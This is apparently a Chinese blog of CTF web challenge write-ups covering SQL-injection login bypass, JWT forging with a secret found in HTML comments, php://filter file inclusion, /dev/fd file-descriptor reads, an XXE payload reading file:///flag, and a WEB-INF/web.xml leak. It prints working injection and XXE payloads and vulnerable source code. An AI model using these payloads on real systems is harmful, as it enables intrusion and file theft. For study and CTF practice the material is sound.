[DASCTF 2025下半年赛]SecretPhotoGallery
This is a mysterious gallery system, but the sqlite database is empty, is it?
打开是登录界面,题目说了是sqlite数据库,用1' and 1=1测试存在注入报错,用' ORDER BY 4--确定列数为3,后面' UNION SELECT 'col1',NULL,NULL--测试显示数据时直接登进去了,神秘,不是太理解
登进去后是gallery.php路由,页面有提示
You’ve successfully entered the gallery. Your authentication token shows you’re a guest user.
看看cookie,显示
auth_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiJyBVTklPTiBTRUxFQ1QgJ2NvbDEnLE5VTEwsTlVMTC0tIiwicm9sZSI6Imd1ZXN0IiwiaWF0IjoxNzY0OTk0ODEwfQ.SYBQFPNuD60CywLf9_C-_sJ3dGwd-9p_4sW8jzqq-lU
cookie被.拆成了三部分,是JWT密钥,接下来尝试获取JWT密钥。使用hashcat用rockyou.txt字典爆破失败,rockyou.txt有几千万条数据都不匹配,说明密钥是藏起来了
在gallery.php查看页面源代码,发现每张图片上面都有神秘注释,比如第一张图片是<!-- Photo 1: G -->,把17张照片的注释字符组合可以得到GALLERY2024SECRET,这就是JWT密钥,用在线的JWT密钥生成器,把guest属性更改为admin,刷新页面可以进入一个新路由admin.php
该路由是一个文件读取页面,经过测试可以利用绝对路径读取任意文件,但是flag.txt是不存在的,使用伪协议php://filter/convert.iconv.utf-8.utf-16/resource=index.php可以读取之前的源码
index.php
<?php function base64UrlEncode ($data ) { return rtrim (strtr (base64_encode ($data ), '+/' , '-_' ), '=' ); } function createJWT ($payload , $secret ) { $header = json_encode (['typ' => 'JWT' , 'alg' => 'HS256' ]); $header = base64UrlEncode ($header ); $payload = base64UrlEncode (json_encode ($payload )); $signature = base64UrlEncode (hash_hmac ('sha256' , "$header .$payload " , $secret , true )); return "$header .$payload .$signature " ; } if (isset ($_COOKIE ['auth_token' ])) { header ('Location: gallery.php' ); exit (); } $error = '' ;if ($_SERVER ['REQUEST_METHOD' ] === 'POST' ) { $username = $_POST ['username' ] ?? '' ; $password = $_POST ['password' ] ?? '' ; $db = new SQLite3 ('/tmp/gallery.db' ); $db ->exec ('CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY, username TEXT, password TEXT)' ); $query = "SELECT * FROM users WHERE username = '$username ' AND password = '$password '" ; $result = $db ->query ($query ); if ($result && $row = $result ->fetchArray ()) { $jwtSecret = 'GALLERY2024SECRET' ; $payload = [ 'user' => $username , 'role' => 'guest' , 'iat' => time () ]; $token = createJWT ($payload , $jwtSecret ); setcookie ('auth_token' , $token , time () + 3600 , '/' , '' , false , true ); $_SESSION ['logged_in' ] = true ; $_SESSION ['username' ] = $username ; header ('Location: gallery.php' ); exit (); } else { $error = 'Invalid username or password!' ; } $db ->close (); } ?>
gallery.php
<?php if (!isset ($_COOKIE ['auth_token' ])) { header ('Location: index.php' ); exit (); } $token = $_COOKIE ['auth_token' ];$parts = explode ('.' , $token );if (count ($parts ) === 3 ) { $payload = json_decode (base64_decode (strtr ($parts [1 ], '-_' , '+/' )), true ); $username = $payload ['user' ] ?? 'Guest' ; $role = $payload ['role' ] ?? 'guest' ; } else { header ('Location: index.php' ); exit (); } ?>
admin.php
<?php function base64UrlDecode ($data ) { return base64_decode (strtr ($data , '-_' , '+/' )); } function verifyJWT ($token , $secret ) { $parts = explode ('.' , $token ); if (count ($parts ) !== 3 ) { return false ; } list ($header , $payload , $signature ) = $parts ; $validSignature = rtrim (strtr (base64_encode (hash_hmac ('sha256' , "$header .$payload " , $secret , true )), '+/' , '-_' ), '=' ); if ($signature !== $validSignature ) { return false ; } $payloadData = json_decode (base64UrlDecode ($payload ), true ); return $payloadData ; } if (!isset ($_COOKIE ['auth_token' ])) { header ('Location: index.php' ); exit (); } $token = $_COOKIE ['auth_token' ];$jwtSecret = 'GALLERY2024SECRET' ;$payload = verifyJWT ($token , $jwtSecret );if (!$payload ) { $error = "Invalid JWT token! Unable to verify signature." ; $isAdmin = false ; } else { $username = $payload ['user' ] ?? 'Unknown' ; $role = $payload ['role' ] ?? 'guest' ; $isAdmin = ($role === 'admin' ); } $fileContent = '' ;$exportError = '' ;$exportSuccess = '' ;if ($_SERVER ['REQUEST_METHOD' ] === 'POST' && isset ($_POST ['action' ])) { if (!$isAdmin ) { $exportError = "Access Denied! Only admin users can export files." ; } else { $action = $_POST ['action' ]; if ($action === 'export' ) { $filepath = $_POST ['filepath' ] ?? '' ; if (empty ($filepath )) { $exportError = "Please specify a file path!" ; } else { $filepath_lower = strtolower ($filepath ); if (strpos ($filepath_lower , 'base64' ) !== false ) { $exportError = "Blocked: base64 filter is not allowed!" ; } elseif (strpos ($filepath_lower , 'rot13' ) !== false ) { $exportError = "Blocked: rot13 filter is not allowed!" ; } else { $fileContent = include ($filepath ); $exportSuccess = "File exported successfully: " . htmlspecialchars ($filepath ); } } } } } ?>
源码都读到了,但是没有任何用处。。。中间尝试远程文件包含木马https://raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI,报错显示allow_url_include=0 远程文件包含也被禁用了,卡住了
之后发现可以读取php://filter/convert.iconv.utf-8.utf-16/resource=flag.php,flag放在flag.php里面了。。。。。。什么鬼东西,糖丸了
[极客大挑战20025]Vibe SEO
“我让 AI 帮我做了搜索引擎优化,它好像说什么『搜索引擎喜欢结构化的站点地图』,虽然不是很懂就是了”
用dirsearch可以扫到sitemap.xml
<?xml version="1.0" encoding="UTF-8" ?> <urlset xmlns ="http://www.sitemaps.org/schemas/sitemap/0.9" > <url > <loc > http://localhost/</loc > <changefreq > weekly</changefreq > </url > <url > <loc > http://localhost/aa__^^.php</loc > <changefreq > never</changefreq > </url > </urlset >
访问aa__^^.php,根据报错要GET传入filename参数读取文件,可以利用此处读取aa__^^.php的源码
<?php $flag = fopen ('/my_secret.txt' , 'r' );if (strlen ($_GET ['filename' ]) < 11 ) { readfile ($_GET ['filename' ]); } else { echo "Filename too long" ; }
有长度限制,不够读/my_secret.txt,此处要利用文件描述符读取flag,因为长度限制用dev/fd/目录读取,读到dev/fd/12是aa__^^.php的源码,dev/fd/13是my_secret.txt也就是flag
文件描述符 在Unix/Linux 系统中,每个进程都有一个“文件描述符表”,用于跟踪该进程打开的所有文件、管道、网络连接等 I/O 资源。当你用 fopen()(或其他系统调用如 open())打开一个新文件时,操作系统会在当前进程的文件描述符表中找到一个空闲的位置分配给该文件,可以通过/proc/self/fd或/dev/fd重定向到对应的内核文件对象
以下函数在对文件进行操作时会产生文件描述符
os.open () os.pipe() os.dup() os.dup2() os.eventfd() socket.socket().fileno() open ().fileno()subprocess.Popen().stdout.fileno()
fopen () fsockopen ()popen ()socket_create ()
const fs = require ('fs' );const fd = fs.openSync ('file.txt' , 'r' );const stream = fs.createReadStream ('file.txt' );stream.fd ;
[NCTF2019]Fake XML cookbook 又是登陆界面,题目说和XML有关,先看看前端代码,找到了登录逻辑
<script type='text/javascript' > function doLogin ( ){ var username = $("#username" ).val (); var password = $("#password" ).val (); if (username == "" || password == "" ){ alert ("Please enter the username and password!" ); return ; } var data = "<user><username>" + username + "</username><password>" + password + "</password></user>" ; $.ajax ({ type : "POST" , url : "doLogin.php" , contentType : "application/xml;charset=utf-8" , data : data, dataType : "xml" , anysc : false , success : function (result ) { var code = result.getElementsByTagName ("code" )[0 ].childNodes [0 ].nodeValue ; var msg = result.getElementsByTagName ("msg" )[0 ].childNodes [0 ].nodeValue ; if (code == "0" ){ $(".msg" ).text (msg + " login fail!" ); }else if (code == "1" ){ $(".msg" ).text (msg + " login success!" ); }else { $(".msg" ).text ("error:" + msg); } }, error : function (XMLHttpRequest,textStatus,errorThrown ) { $(".msg" ).text (errorThrown + ':' + textStatus); } }); } </script>
前端把用户输入打包成XML格式传给后端,后端处理后同样返回XML格式的文本,其中的code标签值为0判定登录失败,为1则判定成功
但是这里的重点并不在如何绕过登录验证,而是客户端返回的msg标签,既然它直接用了username标签的内容,那就可以构造外部实体注入
<!DOCTYPE svg [ <!ENTITY flag SYSTEM "file:///flag" > ]> <user > <username > &flag; </username > <password > 123 </password > </user >
然后服务器返回的msg标签内的内容就是flag了
难道真的没人想知道doLogin.php里面写了啥吗?试了直接用file协议会返回空,试试php伪协议,用php://filter/convert.base64-encode/resource=/var/www/html/doLogin.php,把返回的内容解码就能读到后端源码了
<?php $USERNAME = 'admin' ; $PASSWORD = '024b87931a03f738fff6693ce0a78c88' ; $result = null ;libxml_disable_entity_loader (false );$xmlfile = file_get_contents ('php://input' );try { $dom = new DOMDocument (); $dom ->loadXML ($xmlfile , LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom ($dom ); $username = $creds ->username; $password = $creds ->password; if ($username == $USERNAME && $password == $PASSWORD ){ $result = sprintf ("<result><code>%d</code><msg>%s</msg></result>" ,1 ,$username ); }else { $result = sprintf ("<result><code>%d</code><msg>%s</msg></result>" ,0 ,$username ); } }catch (Exception $e ){ $result = sprintf ("<result><code>%d</code><msg>%s</msg></result>" ,3 ,$e ->getMessage ()); } header ('Content-Type: text/html; charset=utf-8' );echo $result ;?>
看到账号密码了,能登录成功但是没啥用,当彩蛋玩玩得了
[RoarCTF 2019]Easy Java 最近不是看了点Java嘛,想着找几道Java反序列的题见见世面,结果这题倒是跟反序列没什么关系。主要是有一些处理方式很有必要学学
打开靶机是一个登录界面,sql注入无果。界面有一个链接指向Download?filename=help.docx,点击会进入一个Java的异常界面
不明所以,直接访问/help.docx会下载该文件,里面的内容只有Are you sure the flag is here? ? ?,别无他用,后面查了些资料才知道这里有WEB-INF/web.xml泄露
而且这里利用/Download的正确方式是利用POST请求,比如用POST去访问/Download?filename=help.docx去下载help.docx文件。这里同样的方式去访问/WEB-INF/web.xml获取web.xml
<?xml version="1.0" encoding="UTF-8" ?> <web-app xmlns ="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version ="4.0" > <welcome-file-list > <welcome-file > Index</welcome-file > </welcome-file-list > <servlet > <servlet-name > IndexController</servlet-name > <servlet-class > com.wm.ctf.IndexController</servlet-class > </servlet > <servlet-mapping > <servlet-name > IndexController</servlet-name > <url-pattern > /Index</url-pattern > </servlet-mapping > <servlet > <servlet-name > LoginController</servlet-name > <servlet-class > com.wm.ctf.LoginController</servlet-class > </servlet > <servlet-mapping > <servlet-name > LoginController</servlet-name > <url-pattern > /Login</url-pattern > </servlet-mapping > <servlet > <servlet-name > DownloadController</servlet-name > <servlet-class > com.wm.ctf.DownloadController</servlet-class > </servlet > <servlet-mapping > <servlet-name > DownloadController</servlet-name > <url-pattern > /Download</url-pattern > </servlet-mapping > <servlet > <servlet-name > FlagController</servlet-name > <servlet-class > com.wm.ctf.FlagController</servlet-class > </servlet > <servlet-mapping > <servlet-name > FlagController</servlet-name > <url-pattern > /Flag</url-pattern > </servlet-mapping > </web-app >
看到FlagController在目录/WEB-INF/classes/com/wm/ctf/FlagController下,相同地下载下来,利用IJ的反编译可以看到源码
@WebServlet( name = "FlagController" ) public class FlagController extends HttpServlet { String flag = "ZmxhZ3syYWRiOGE2NS03Mzk5LTQwNDEtYmE2Zi00MTY2MDEwNGE2NDR9Cg==" ; protected void doGet (HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException { PrintWriter var3 = var2.getWriter(); var3.print("<h1>Flag is nearby ~ Come on! ! !</h1>" ); } }
flag是经过base64编码的,解码就有了
闲来无事把LoginController的源码也扒了罢
@WebServlet( name = "Login" ) public class LoginController extends HttpServlet { protected void doPost (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String username = request.getParameter("username" ); String password = request.getParameter("password" ); PrintWriter out = response.getWriter(); if ("admin" .equals(username) && "admin888" .equals(password)) { out.print("<h1>Flag is not here! <br/><img src='images/img1.jpg'/></h1>" ); System.out.println(username + " | " + password); } else { out.print("<h1>wrong password!</h1><h3><a href=\"Login\">Click to log in again!</a></h3>" ); } } protected void doGet (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { request.getRequestDispatcher("/WEB-INF/resources/index.jsp" ).forward(request, response); } }
哪有什么数据库,登录界面的账号是admin,密码是admin888,登进去肯定没什么用,但看一看也无妨,进去后的页面长这样
WEB-INF/web.xml泄露 WEB-INF 是Java的web应用的安全目录,正常情况下客户端无法访问,只有服务端可以访问
目录
描述
/WEB-INF/web.xml
Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则
/WEB-INF/classes/
包含所有的 Servlet 类和其他类文件,类文件所在的目录结构与他们的包名称匹配
/WEB-INF/lib/
存放 web 应用需要的各种 jar 文件
/WEB-INF/src/
源码目录,按照包名结构放置各个 java 文件
/WEB-INF/database.properties
数据库配置文件
/WEB-INF/tags/
存放了自定义标签文件